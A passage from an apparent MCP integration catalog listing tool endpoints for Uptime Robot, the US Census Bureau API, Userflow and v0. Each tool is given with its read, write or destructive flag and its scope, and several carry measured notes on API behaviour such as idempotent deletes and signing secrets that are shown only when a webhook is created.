/api/v1/uptime_robot/user/alert-contacts. Scopes: api. uptime_robot_get_user_all_alert_contacts (read) — Retrieve / user / all-alert-contacts GET /api/v1/uptime_robot/user/all-alert-contacts. Scopes: api. uptime_robot_get_user_me (read) — Retrieve / user / me GET /api/v1/uptime_robot/user/me. Scopes: api. uptime_robot_patch_alert_contacts_by_id (write, destructive) — Update / alert-contacts / {id} PATCH /api/v1/uptime_robot/alert-contacts/{id}. Scopes: api. uptime_robot_patch_incidents_by_id_comments_by_commentid (write, destructive) — Update / incidents / {id} / comments / {commentId} PATCH /api/v1/uptime_robot/incidents/{id}/comments/{commentId}. Scopes: api. uptime_robot_patch_integrations_by_id (write, destructive) — Update / integrations / {id} PATCH /api/v1/uptime_robot/integrations/{id}. Scopes: api. uptime_robot_patch_maintenance_windows_by_id (write, destructive) — Update / maintenance-windows / {id} PATCH /api/v1/uptime_robot/maintenance-windows/{id}. Scopes: api. uptime_robot_patch_monitor_groups_by_id (write, destructive) — Update / monitor-groups / {id} PATCH /api/v1/uptime_robot/monitor-groups/{id}. Scopes: api. uptime_robot_patch_monitors_by_id (write, destructive) — Update / monitors / {id} PATCH /api/v1/uptime_robot/monitors/{id}. Scopes: api. uptime_robot_patch_monitors_storm_protection (write, destructive) — Update / monitors / storm-protection PATCH /api/v1/uptime_robot/monitors/storm-protection. Scopes: api. uptime_robot_patch_psps_by_pspid_announcements_by_id (write, destructive) — Update / psps / {pspId} / announcements / {id} PATCH /api/v1/uptime_robot/psps/{pspId}/announcements/{id}. Scopes: api. uptime_robot_post_alert_contacts (write) — Create / alert-contacts POST /api/v1/uptime_robot/alert-contacts. Scopes: api. uptime_robot_post_incidents_by_id_comments (write) — Create / incidents / {id} / comments POST /api/v1/uptime_robot/incidents/{id}/comments. Scopes: api. uptime_robot_post_integrations (write) — Create / integrations POST /api/v1/uptime_robot/integrations. Scopes: api. uptime_robot_post_maintenance_windows (write) — Create / maintenance-windows POST /api/v1/uptime_robot/maintenance-windows. Scopes: api. uptime_robot_post_monitor_groups (write) — Create / monitor-groups POST /api/v1/uptime_robot/monitor-groups. Scopes: api. uptime_robot_post_monitors (write) — Create / monitors POST /api/v1/uptime_robot/monitors. Scopes: api. uptime_robot_post_monitors_bulk_pause (write) — Create / monitors / bulk / pause POST /api/v1/uptime_robot/monitors/bulk/pause. Scopes: api. uptime_robot_post_monitors_bulk_start (write) — Create / monitors / bulk / start POST /api/v1/uptime_robot/monitors/bulk/start. Scopes: api. uptime_robot_post_monitors_bulk_update (write) — Create / monitors / bulk / update POST /api/v1/uptime_robot/monitors/bulk/update. Scopes: api. uptime_robot_post_monitors_by_id_pause (write) — Create / monitors / {id} / pause POST /api/v1/uptime_robot/monitors/{id}/pause. Scopes: api. uptime_robot_post_monitors_by_id_reset (write) — Create / monitors / {id} / reset POST /api/v1/uptime_robot/monitors/{id}/reset. Scopes: api. uptime_robot_post_monitors_by_id_start (write) — Create / monitors / {id} / start POST /api/v1/uptime_robot/monitors/{id}/start. Scopes: api. uptime_robot_post_psps_by_pspid_announcements (write) — Create / psps / {pspId} / announcements POST /api/v1/uptime_robot/psps/{pspId}/announcements. Scopes: api. uptime_robot_post_psps_by_pspid_announcements_by_id_pin (write) — Create / psps / {pspId} / announcements / {id} / pin POST /api/v1/uptime_robot/psps/{pspId}/announcements/{id}/pin. Scopes: api. uptime_robot_post_psps_by_pspid_announcements_by_id_unpin (write) — Create / psps / {pspId} / announcements / {id} / unpin POST /api/v1/uptime_robot/psps/{pspId}/announcements/{id}/unpin. Scopes: api. ================================================================================ ## US Census Bureau URL: https://www.agenticfabriq.com/integrations/censusbureau Section: Integrated Tools US Census Bureau — 8 MCP tools Provider key: censusbureau. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. censusbureau_get_data_by_year_by_dataset (read) — Query a Census dataset: select up to 50 variables with `get` and narrow with geography (`for`/`in`) and other predicates. The answer is a JSON array of arrays with the header row first, e.g. [["NAME","state"],["Alabama","01"]] -- not objects. via GET /data/{year}/{dataset} GET /api/v1/censusbureau/data/{year}/{dataset}. Scopes: api. censusbureau_get_data_by_year_by_dataset_examples_json (read) — Example queries for a dataset: the available geographic levels and predicates, so data queries do not have to be built from scratch. via GET /data/{year}/{dataset}/examples.json GET /api/v1/censusbureau/data/{year}/{dataset}/examples.json. Scopes: api. censusbureau_get_data_by_year_by_dataset_geography_json (read) — Geography list for a dataset: the geographic levels usable in the data query's `for`/`in` predicates. via GET /data/{year}/{dataset}/geography.json GET /api/v1/censusbureau/data/{year}/{dataset}/geography.json. Scopes: api. censusbureau_get_data_by_year_by_dataset_groups_json (read) — Table groups for a dataset, usable with the data query's group([table ID]) get function. Filtered, compacted and paged at the tool layer (`query`/`limit`/`offset`): the provider serves the document whole (406 KB for 2021 acs/acs1). via GET /data/{year}/{dataset}/groups.json GET /api/v1/censusbureau/data/{year}/{dataset}/groups.json. Scopes: api. censusbureau_get_data_by_year_by_dataset_sorts_json (read) — Sort list for a dataset ('SortList' link in the dataset discovery table). via GET /data/{year}/{dataset}/sorts.json GET /api/v1/censusbureau/data/{year}/{dataset}/sorts.json. Scopes: api. censusbureau_get_data_by_year_by_dataset_tags_json (read) — Tags list for a dataset. via GET /data/{year}/{dataset}/tags.json GET /api/v1/censusbureau/data/{year}/{dataset}/tags.json. Scopes: api. censusbureau_get_data_by_year_by_dataset_variables_json (read) — Variables available in a dataset, including which are required. Filtered, compacted and paged at the tool layer (`query`/`limit`/`offset`): the provider serves the document whole and it reaches 13.5 MB (2021 acs/acs1, measured 2026-09-06). via GET /data/{year}/{dataset}/variables.json GET /api/v1/censusbureau/data/{year}/{dataset}/variables.json. Scopes: api. censusbureau_get_data_json (read) — The master catalog of ~1,500 Census datasets (Project Open Data dcat:Catalog). Filtered, compacted and paged at the tool layer (`query`/`vintage`/`limit`/`offset`): the provider serves the catalog whole (5.2 MB, measured 2026-09-06). Each entry carries the /data/{year}/{dataset} coordinates for the other tools. via GET /data.json GET /api/v1/censusbureau/data.json. Scopes: api. ================================================================================ ## Userflow URL: https://www.agenticfabriq.com/integrations/userflow Section: Integrated Tools Userflow — 35 MCP tools Provider key: userflow. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. userflow_delete_accounts_by_account_id_invites_by_invite_id (write, destructive) — Delete an account invite via DELETE /accounts/{account_id}/invites/{invite_id}. Revokes a pending invitation so the link can no longer be accepted. It destroys an invitation rather than a person's access -- 'Remove an account member' is the one that revokes access someone already has. Verified 2026-09-24 by the round trip: after the delete the invite is gone from the collection AND answers 404 `not_found` at its own address. REQUIRES THE PERSONAL API KEY. DELETE /api/v1/userflow/accounts/{account_id}/invites/{invite_id}. Scopes: api. userflow_delete_accounts_by_account_id_members_by_member_id (write, destructive) — Remove an account member via DELETE /accounts/{account_id}/members/{member_id}. REVOKES A COLLEAGUE'S ACCESS to the Userflow account. This is a Userflow TEAM member, not an end user -- 'Delete a user' is the end-user one. Getting it back means re-inviting them and them accepting. Removing the last owner/administrator can leave the account unadministrable, and Userflow enforces some of that itself (measured 2026-09-24: it answers 403 `access_denied` rather than letting the key owner act on their own membership). An unknown id answers 404 `not_found`. REQUIRES THE PERSONAL API KEY. DELETE /api/v1/userflow/accounts/{account_id}/members/{member_id}. Scopes: api. userflow_delete_content_sessions_by_content_session_id (write, destructive) — Delete a content session via DELETE /content_sessions/{content_session_id}. PERMANENT: it destroys one user's record of having seen a flow, together with any survey answers they gave in it. Deleting a session can make the content eligible to show that user again. USERFLOW'S OWN REFERENCE MISSPELLS THIS PATH as `/content_sesssions/` with three `s` characters; the service spells it with two, measured 2026-09-24 (three answers 404 `unknown_method_or_url`, two answers 200). IDEMPOTENT to the point of answering 200 `{"deleted": true}` for an id that never existed, so the reply proves nothing -- confirm by asking for the session, which answers 404 once it is gone. DELETE /api/v1/userflow/content_sessions/{content_session_id}. Scopes: api. userflow_delete_group_memberships (write, destructive) — Remove a user from a group via DELETE /group_memberships. Removes ONE user from ONE group and leaves both the user and the group intact. BOTH `user_id` and `group_id` are required and Userflow enforces it itself: measured 2026-09-24, calling this with neither answers 400 'Both user_id and group_id must be set as query parameters', so there is no unfiltered form that could empty a group. Idempotent -- a user who was not a member also answers 200 -- so confirm by listing the group's users again. There is no create/update counterpart on this path: memberships are written by embedding them in 'Create or update a user'. DELETE /api/v1/userflow/group_memberships. Scopes: api. userflow_delete_groups_by_group_id (write, destructive) — Delete a group via DELETE /groups/{group_id}. PERMANENT AND NOT REVERSIBLE: it destroys the group, its attributes, its memberships and its events. The USERS who were members survive. IDEMPOTENT -- measured 2026-09-24, an id that never existed also answers 200 `{"deleted": true}` -- so confirm by asking for the group again, which answers 404 once it is gone. DELETE /api/v1/userflow/groups/{group_id}. Scopes: api. userflow_delete_users_by_user_id (write, destructive) — Delete a user via DELETE /users/{user_id}. PERMANENT AND NOT REVERSIBLE: it destroys the user, every attribute, every membership, every event and their whole flow history. Groups the user belonged to survive. IDEMPOTENT, which matters for how you check it: measured 2026-09-24 this answers 200 `{"deleted": true}` for an id that never existed, so the reply is NOT evidence the user was there. Confirm by asking for the user again -- a deleted user answers 404 `not_found`. DELETE /api/v1/userflow/users/{user_id}. Scopes: api. userflow_delete_webhook_subscriptions_by_webhook_subscription_id (write, destructive) — Delete a webhook subscription via DELETE /webhook_subscriptions/{webhook_subscription_id}. PERMANENT: deliveries stop immediately and THE SIGNING SECRET IS GONE WITH IT -- a replacement subscription gets a new one, so anything verifying signatures has to be updated. Use 'Update a webhook subscription' with `disabled: true` instead when the intent is to pause. IDEMPOTENT: measured 2026-09-24, deleting an already-deleted id also answers 200 `{"deleted": true}`, so confirm by asking for it (404 once gone) rather than by reading this reply. DELETE /api/v1/userflow/webhook_subscriptions/{webhook_subscription_id}. Scopes: api. userflow_get_accounts (read) — List accounts via GET /accounts. The Userflow ACCOUNTS (workspaces) the Personal API Key's owner is a member of -- this is Userflow's own organisation, not the customer's end users. Each carries its name, slug and whether 2FA is enforced; `environments` is null unless asked for with `expand`, and that expansion is the ONLY way to read an environment (measured 2026-09-24: /environments and /accounts/{id}/environments both answer 404 `unknown_method_or_url` -- there is no environments endpoint). REQUIRES THE PERSONAL API KEY: an environment key answers 401 `invalid_pak`. GET /api/v1/userflow/accounts. Scopes: api. userflow_get_accounts_by_account_id (read) — Get an account via GET /accounts/{account_id}. One Userflow account (workspace): name, slug, created_at and whether 2FA is enforced. Expand `environments` to read its environments -- their ids, names, slugs, region and which is primary -- because no standalone environments endpoint exists (measured 2026-09-24). REQUIRES THE PERSONAL API KEY. GET /api/v1/userflow/accounts/{account_id}. Scopes: api. userflow_get_accounts_by_account_id_invites (read) — List account invites via GET /accounts/{account_id}/invites. Outstanding invitations to join the Userflow account: who was invited, by whom (`sender_id`), the role or permissions they would get, and whether the invite has expired. An accepted invite leaves this list and appears under members. REQUIRES THE PERSONAL API KEY. GET /api/v1/userflow/accounts/{account_id}/invites. Scopes: api. userflow_get_accounts_by_account_id_invites_by_invite_id (read) — Get an account invite via GET /accounts/{account_id}/invites/{invite_id}. One pending invitation: name, email, sender, role, permissions and `is_expired`. A deleted or accepted invite answers 404 `not_found` (measured 2026-09-24). REQUIRES THE PERSONAL API KEY. GET /api/v1/userflow/accounts/{account_id}/invites/{invite_id}. Scopes: api. userflow_get_accounts_by_account_id_members (read) — List account members via GET /accounts/{account_id}/members. The PEOPLE ON THE USERFLOW TEAM -- colleagues with a Userflow login -- not the customer's end users ('List users' on the Users API is those). Each member carries name, email, role (owner, admin, editor, viewer), a `permissions` array, and whether they have SSO, a password and 2FA. REQUIRES THE PERSONAL API KEY. GET /api/v1/userflow/accounts/{account_id}/members. Scopes: api. userflow_get_accounts_by_account_id_members_by_member_id (read) — Get an account member via GET /accounts/{account_id}/members/{member_id}. One Userflow team member: name, email, avatar, role, permissions, and the security facts (has_sso, has_password, is_2fa_enabled). An unknown id answers 404 `not_found` naming the member (measured 2026-09-24). REQUIRES THE PERSONAL API KEY. GET /api/v1/userflow/accounts/{account_id}/members/{member_id}. Scopes: api. userflow_get_attribute_definitions (read) — List attribute definitions via GET /attribute_definitions. Every attribute name Userflow has seen in this environment, with its data type, scope and display name. Definitions are created automatically the first time an attribute is sent; there is no create, update or delete for them on this API. This is the tool to call before writing attributes, to find out what the environment already calls things. GET /api/v1/userflow/attribute_definitions. Scopes: api. userflow_get_content (read) — List content via GET /content. 'Content' is Userflow's umbrella term for flows, checklists and launchers. Each item carries a `draft_version_id` and a `published_version_id`; the content ITSELF (steps, questions, tasks) lives in content versions. PASS ONLY A DOCUMENTED `type`: measured 2026-09-24, `type=flow` answers 200 while `type=nonsense` answers 500 `internal_error` rather than a 400, so an unsupported value looks like an outage. The three accepted values are checklist, flow and launcher. GET /api/v1/userflow/content. Scopes: api. userflow_get_content_by_content_id (read) — Get a content object via GET /content/{content_id}. One flow, checklist or launcher by id, with its name, type and the ids of its draft and published versions. The steps and copy are not here -- read the version, or expand it. GET /api/v1/userflow/content/{content_id}. Scopes: api. userflow_get_content_sessions (read) — List content sessions via GET /content_sessions. A session is one user's journey through one flow, checklist or launcher: its progress, whether it completed, and any survey answers. Filter by `user_id` and `content_id` together to ask whether a specific user has seen a specific flow. Expand `answers` to read survey responses; each answer names its question by `question_cvid`, the cross-version id. GET /api/v1/userflow/content_sessions. Scopes: api. userflow_get_content_sessions_by_session_id (read) — Get a content session via GET /content_sessions/{session_id}. One user's journey through one piece of content, with `progress` as a decimal string (1 means fully completed), `completed`, `last_activity_at` and `is_preview`. Expand `answers` for the survey responses. An unknown id answers 404 `not_found` (measured 2026-09-24). GET /api/v1/userflow/content_sessions/{session_id}. Scopes: api. userflow_get_content_versions (read) — List content versions via GET /content_versions. Userflow versions content: a new version is cut on edit and on publish, numbered incrementally per content object. `content_id` IS REQUIRED and Userflow enforces it -- measured 2026-09-24, omitting it answers 400 `invalid_params` 'You must filter by content_id via a query parameter'. There is no listing across content objects. GET /api/v1/userflow/content_versions. Scopes: api. userflow_get_content_versions_by_version_id (read) — Get a content version via GET /content_versions/{version_id}. One version of a flow, checklist or launcher. Expand `questions` or `tasks` to see its survey questions or checklist tasks. WHEN YOU NEED A STABLE HANDLE, USE `cvid` AND NOT `id`: a question's or task's `id` is re-minted every time a new version is cut, while its Cross-Version Id stays the same for the logically same item -- and it is `cvid` that a content session's answers refer to. GET /api/v1/userflow/content_versions/{version_id}. Scopes: api. userflow_get_event_definitions (read) — List event definitions via GET /event_definitions. Every event name Userflow has seen in this environment, with its display name and description. Definitions appear automatically the first time an event is tracked; there is no create, update or delete for them here. Call this before 'Track an event' to reuse an existing name rather than minting a near-duplicate. GET /api/v1/userflow/event_definitions. Scopes: api. userflow_get_groups (read) — List groups via GET /groups. Groups (companies, teams, departments) in this environment, cursor-paginated. `condition` is the same JSON-encoded filter shape as 'List users'. NOTE that Userflow gates the Groups feature by plan -- an account without it has no groups to list rather than an error. GET /api/v1/userflow/groups. Scopes: api. userflow_get_groups_by_group_id (read) — Get a group via GET /groups/{group_id}. One group and its attributes. `users` and `memberships` are null unless asked for with `expand`. An unknown id answers 404 `not_found` (measured 2026-09-24). GET /api/v1/userflow/groups/{group_id}. Scopes: api. userflow_get_users (read) — List users via GET /users. The end users Userflow tracks in THIS environment -- the people using the customer's own application, not Userflow team members (those are 'List account members' on the Accounts API). Returns a cursor-paginated list object. `condition` filters on any attribute and must be a JSON-encoded string: measured 2026-09-24, a non-JSON value answers 400 `invalid_params` 'Invalid JSON provided in condition param'. Userflow rejects a condition matching more than 10,000 records, so this is a lookup rather than an export. GET /api/v1/userflow/users. Scopes: api. userflow_get_users_by_user_id (read) — Get a user via GET /users/{user_id}. One end user and all their attributes. `groups` and `memberships` are null unless asked for with `expand`. Measured 2026-09-24: an unknown id answers 404 `not_found` naming the id, so absence is a real answer rather than an empty object. GET /api/v1/userflow/users/{user_id}. Scopes: api. userflow_get_webhook_subscriptions (read) — List webhook subscriptions via GET /webhook_subscriptions. The destinations Userflow POSTs notifications to for this environment, with their topics and whether each is disabled. THE SIGNING SECRET IS NOT HERE and that is Userflow's design, not a redaction: `secret` is returned only in the reply to 'Create a webhook subscription' (confirmed 2026-09-24 -- present on create, absent from both list and get). A lost secret means creating a new subscription. GET /api/v1/userflow/webhook_subscriptions. Scopes: api. userflow_get_webhook_subscriptions_by_webhook_subscription_id (read) — Get a webhook subscription via GET /webhook_subscriptions/{webhook_subscription_id}. One subscription: its url, topics, api_version and whether it is disabled. The signing secret is NOT in this reply -- Userflow returns it only at creation (measured 2026-09-24). An unknown id answers 404 `not_found`. GET /api/v1/userflow/webhook_subscriptions/{webhook_subscription_id}. Scopes: api. userflow_patch_accounts_by_account_id_members_by_member_id (write) — Update an account member via PATCH /accounts/{account_id}/members/{member_id}. Changes a Userflow TEAM MEMBER's role or permissions -- it does not touch an end user. Roles are admin, viewer and editor (Userflow names the set itself in its 400: 'Must be one of: admin, viewer, editor'); `owner` is not assignable here. THIS IS A PRIVILEGE CHANGE: granting admin hands someone the whole account, and demoting an administrator can lock work out. Userflow refuses some edits on its own -- measured 2026-09-24, patching the key owner's own membership answers 403 `access_denied` 'You do not have access to update this member' -- so a 403 here is a Userflow permission rule rather than a bad key. REQUIRES THE PERSONAL API KEY. PATCH /api/v1/userflow/accounts/{account_id}/members/{member_id}. Scopes: api. userflow_patch_webhook_subscriptions_by_webhook_subscription_id (write) — Update a webhook subscription via PATCH /webhook_subscriptions/{webhook_subscription_id}. Changes the url, the topics, the api_version or the disabled flag. `disabled: true` stops deliveries immediately and keeps the subscription and its secret, which is the reversible way to silence a webhook -- deleting it is not reversible. NOTE that `topics` REPLACES the list rather than adding to it, so send the full set you want. PATCH /api/v1/userflow/webhook_subscriptions/{webhook_subscription_id}. Scopes: api. userflow_post_accounts_by_account_id_invites (write) — Create an account invite via POST /accounts/{account_id}/invites. INVITES A PERSON INTO THE USERFLOW ACCOUNT and emails them -- it grants access to a colleague, so it is an administrative act rather than a data write. Userflow names every requirement itself, measured 2026-09-24 by sending each incomplete body in turn: `name` is required ('Name is required'), then `email` ('Email is required'), then one of `role`/`permissions` ('Requires either role or permissions'), and an unknown role is refused with the accepted set ('Must be one of: admin, viewer, editor'). Note `member` is NOT a role. Revoke with 'Delete an account invite' before it is accepted. REQUIRES THE PERSONAL API KEY. POST /api/v1/userflow/accounts/{account_id}/invites. Scopes: api. userflow_post_content_sessions_by_content_session_id_end (write) — End a content session via POST /content_sessions/{content_session_id}/end. Closes a session that is still running, so the user is no longer mid-flow. The session and its recorded answers are KEPT -- this ends it rather than deleting it, which is why it is not marked destructive; 'Delete a content session' is the one that destroys. Measured 2026-09-24: an unknown id answers 404 `not_found` naming the session, which is how this route was told apart from the misspelling in Userflow's own reference. POST /api/v1/userflow/content_sessions/{content_session_id}/end. Scopes: api. userflow_post_events (write) — Track an event via POST /events. Records something a user or a group did, for analytics and for segmenting and personalising flows. `name` is required and at least one of `user_id`/`group_id` must be given -- Userflow says so itself (measured 2026-09-24: no name -> 400 'Event name was missing.'; neither subject -> 400 'At least one of user_id and group_id must be given.'). `time` back-dates the event for historic imports; without it Userflow stamps the moment it arrives. Event and attribute names may contain only a-z, A-Z, 0-9, underscores, dashes and spaces. There is no GET on this path (404 `unknown_method_or_url`, measured): events are read through 'List event definitions' and through content sessions. POST /api/v1/userflow/events. Scopes: api. userflow_post_groups (write) — Create or update a group via POST /groups. Create and update are one operation, keyed on `id`: a new id creates the group, an existing one merges the supplied attributes into it. Attribute values take the same literals and operation objects as a user's. A group can also be created as a side effect of 'Create or update a user' by embedding it in `groups` or `memberships`; this endpoint is how you touch one on its own. POST /api/v1/userflow/groups. Scopes: api. userflow_post_users (write) — Create or update a user via POST /users. ONE operation for both: a user whose `id` is not already in this environment is created, and one that is has the supplied attributes MERGED into what is already there -- attributes not named are left alone. `id` should be the id the user has in the customer's own database. An attribute value may be a literal or an operation object (`set`, `set_once`, `add`, `subtract`, `append`, `prepend`, `remove`, with an optional explicit `data_type`); an explicit null UNSETS that attribute. Groups can be attached in the same call through `groups` (simple) or `memberships` (when the membership itself carries attributes such as a role) -- only one of the two may be set. READ `prune_memberships` BEFORE SETTING IT: true DELETES every membership not named in this request, so it is only safe when the list is the user's complete set of groups. The groups themselves survive. POST /api/v1/userflow/users. Scopes: api. userflow_post_webhook_subscriptions (write) — Create a webhook subscription via POST /webhook_subscriptions. Userflow starts POSTing matching notifications to `url` IMMEDIATELY. Both `url` and `topics` are required (measured 2026-09-24: 400 `invalid_params` "url: can't be blank." / "topics: can't be blank."). Topics are namespaced -- `user` matches user.created and user.updated, `event.tracked.<name>` matches one event, `*` matches everything. THE REPLY CONTAINS THE SIGNING SECRET (`whsec_...`) AND IT IS SHOWN ONLY HERE: it never appears in the list or get replies, so capture it now or create a new subscription later. It is what verifies the `Userflow-Signature` HMAC on every delivery, so treat the reply as credential material. POST /api/v1/userflow/webhook_subscriptions. Scopes: api. ================================================================================ ## v0 URL: https://www.agenticfabriq.com/integrations/v0 Section: Integrated Tools v0 — 40 MCP tools Provider key: v0. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. v0_delete_chats_by_chatid (write, destructive) — Delete Chat. DELETE https://api.v0.dev/v2/chats/{chatId}. Deletes a chat and all its associated messages. The requester must have edit access to the chat. DELETE /api/v1/v0/chats/{chatId}. Scopes: api. v0_delete_hooks_by_hookid (write, destructive) — Delete Webhook. DELETE https://api.v0.dev/v2/hooks/{hookId}. Deletes a webhook. This action is irreversible. DELETE /api/v1/v0/hooks/{hookId}. Scopes: api. v0_delete_mcp_servers_by_mcpserverid (write, destructive) — Delete MCP Server. DELETE https://api.v0.dev/v2/mcp-servers/{mcpServerId}. Deletes an MCP server and cleans up associated OAuth tokens. This action is irreversible. DELETE /api/v1/v0/mcp-servers/{mcpServerId}. Scopes: api. v0_get_chats (read) — List Chats. GET https://api.v0.dev/v2/chats. Lists chats accessible to the authenticated user. Use metadata[key]=value style query parameters to filter by metadata. GET /api/v1/v0/chats. Scopes: api. v0_get_chats_by_chatid (read) — Get Chat. GET https://api.v0.dev/v2/chats/{chatId}. Retrieves a chat by ID. GET /api/v1/v0/chats/{chatId}. Scopes: api. v0_get_chats_by_chatid_connect_status (read) — Get Connect Setup Status. GET https://api.v0.dev/v2/chats/{chatId}/connect/status. Polls the status of a Vercel Connect connector setup started by a `configure_vercel_connect` agent action. Open the `setupUrl` from the agent action data in a browser, then poll this endpoint every few seconds while `pending`. When it returns `ready`, resolve the chat with a `vercel-connect-setup` task to resume generation. GET /api/v1/v0/chats/{chatId}/connect/status. Scopes: api. v0_get_chats_by_chatid_files (read) — Get Chat Files. GET https://api.v0.dev/v2/chats/{chatId}/files. Returns the source files for a chat. GET /api/v1/v0/chats/{chatId}/files. Scopes: api. v0_get_chats_by_chatid_messages (read) — List Messages. GET https://api.v0.dev/v2/chats/{chatId}/messages. Lists all messages in a chat. GET /api/v1/v0/chats/{chatId}/messages. Scopes: api. v0_get_chats_by_chatid_messages_by_messageid (read) — Get Message. GET https://api.v0.dev/v2/chats/{chatId}/messages/{messageId}. Fetches a single message in a chat. GET /api/v1/v0/chats/{chatId}/messages/{messageId}. Scopes: api. v0_get_chats_by_chatid_preview (read) — Get Preview URL. GET https://api.v0.dev/v2/chats/{chatId}/preview. Returns the preview URL for a chat. If the preview isn't ready, the response is null. Poll this endpoint until the response is non-null. GET /api/v1/v0/chats/{chatId}/preview. Scopes: api. v0_get_hooks (read) — List Webhooks. GET https://api.v0.dev/v2/hooks. Retrieves a list of all webhooks in your workspace. GET /api/v1/v0/hooks. Scopes: api. v0_get_hooks_by_hookid (read) — Get Webhook. GET https://api.v0.dev/v2/hooks/{hookId}. Retrieves the details of a specific webhook using its ID. GET /api/v1/v0/hooks/{hookId}. Scopes: api. v0_get_mcp_servers (read) — List MCP Servers. GET https://api.v0.dev/v2/mcp-servers. Retrieves all MCP servers configured for the current user. GET /api/v1/v0/mcp-servers. Scopes: api. v0_get_mcp_servers_by_mcpserverid (read) — Get MCP Server. GET https://api.v0.dev/v2/mcp-servers/{mcpServerId}. Retrieves a specific MCP server by ID. GET /api/v1/v0/mcp-servers/{mcpServerId}. Scopes: api. v0_get_settings_preview_hosts (read) — Get Trusted Preview Hosts. GET https://api.v0.dev/v2/settings/preview-hosts. Returns the hostname patterns trusted to embed previews for the current team. Organization child teams inherit the parent organization’s hosts. GET /api/v1/v0/settings/preview-hosts. Scopes: api. v0_get_usage_activity (read) — Get Usage Activity. GET https://api.v0.dev/v2/usage/activity. Returns chat and project activity for the active billing scope. Team owners and billing members receive team-wide activity by default; other team members receive their own activity. GET /api/v1/v0/usage/activity. Scopes: api. v0_get_usage_events (read) — List Usage Events. GET https://api.v0.dev/v2/usage/events. Lists individual credit usage events. Each event includes the credits charged and, when available, associated token counts. GET /api/v1/v0/usage/events. Scopes: api. v0_get_usage_summary (read) — Get Usage Summary. GET https://api.v0.dev/v2/usage/summary. Returns credit usage for the active billing scope. Team owners and billing members receive team-wide usage by default; other team members receive their own usage. GET /api/v1/v0/usage/summary. Scopes: api. v0_patch_chats_by_chatid (write) — Update Chat. PATCH https://api.v0.dev/v2/chats/{chatId}. Updates a chat's title, privacy, or metadata. PATCH /api/v1/v0/chats/{chatId}. Scopes: api. v0_patch_chats_by_chatid_files (write) — Update Chat Files. PATCH https://api.v0.dev/v2/chats/{chatId}/files. Creates, updates, or deletes files for a chat. Pass null to delete. This requires the chat's preview to be running. PATCH /api/v1/v0/chats/{chatId}/files. Scopes: api. v0_patch_hooks_by_hookid (write) — Update Webhook. PATCH https://api.v0.dev/v2/hooks/{hookId}. Updates the configuration of an existing webhook, including its name, event subscriptions, or target URL. PATCH /api/v1/v0/hooks/{hookId}. Scopes: api. v0_patch_mcp_servers_by_mcpserverid (write) — Update MCP Server. PATCH https://api.v0.dev/v2/mcp-servers/{mcpServerId}. Updates an existing MCP server configuration. PATCH /api/v1/v0/mcp-servers/{mcpServerId}. Scopes: api. v0_post_chats (write) — Create Chat. POST https://api.v0.dev/v2/chats. SPENDS v0 CREDITS (runs a model generation). Creates a new chat from a prompt. The request blocks until the model response is complete and returns the chat. POST /api/v1/v0/chats. Scopes: api. v0_post_chats_async (write) — Create Chat (Async). POST https://api.v0.dev/v2/chats/async. SPENDS v0 CREDITS (runs a model generation). Creates a new chat with a user message and processes it in the background. Returns immediately with the chat ID and message ID. Poll for the assistant message by ID until `finishReason` is non-null. POST /api/v1/v0/chats/async. Scopes: api. v0_post_chats_by_chatid_deploy (write) — Deploy Chat. POST https://api.v0.dev/v2/chats/{chatId}/deploy. Triggers a Vercel deployment for a chat. Creates a Vercel project if one does not exist. POST /api/v1/v0/chats/{chatId}/deploy. Scopes: api. v0_post_chats_by_chatid_duplicate (write) — Duplicate Chat. POST https://api.v0.dev/v2/chats/{chatId}/duplicate. Creates a new chat by duplicating an existing chat. POST /api/v1/v0/chats/{chatId}/duplicate. Scopes: api. v0_post_chats_by_chatid_messages (write) — Send Message. POST https://api.v0.dev/v2/chats/{chatId}/messages. SPENDS v0 CREDITS (runs a model generation). Sends a new message to an existing chat. Blocks until the model response is complete and returns the message response. POST /api/v1/v0/chats/{chatId}/messages. Scopes: api. v0_post_chats_by_chatid_messages_async (write) — Send Message (Async). POST https://api.v0.dev/v2/chats/{chatId}/messages/async. SPENDS v0 CREDITS (runs a model generation). Sends a new message to an existing chat and processes it in the background. Returns immediately with the assistant message ID. Poll GET /chats/:chatId/messages/:messageId and check `finishReason` to detect completion. POST /api/v1/v0/chats/{chatId}/messages/async. Scopes: api. v0_post_chats_by_chatid_messages_by_messageid_stop (write) — Stop Message. POST https://api.v0.dev/v2/chats/{chatId}/messages/{messageId}/stop. Stops an in-flight assistant message generation. The agent aborts at the next safe point and the message is marked finished. POST /api/v1/v0/chats/{chatId}/messages/{messageId}/stop. Scopes: api. v0_post_chats_by_chatid_messages_resolve (write) — Resolve Task. POST https://api.v0.dev/v2/chats/{chatId}/messages/resolve. SPENDS v0 CREDITS (runs a model generation). Resolves a pending task in a chat. Blocks until the model response is complete and returns the resulting message. POST /api/v1/v0/chats/{chatId}/messages/resolve. Scopes: api. v0_post_chats_by_chatid_messages_resolve_async (write) — Resolve Task (Async). POST https://api.v0.dev/v2/chats/{chatId}/messages/resolve/async. SPENDS v0 CREDITS (runs a model generation). Resolves a pending task and processes it in the background. Returns immediately with the assistant message ID. Poll GET /chats/:chatId/messages/:messageId and check `finishReason` to detect completion. POST /api/v1/v0/chats/{chatId}/messages/resolve/async. Scopes: api. 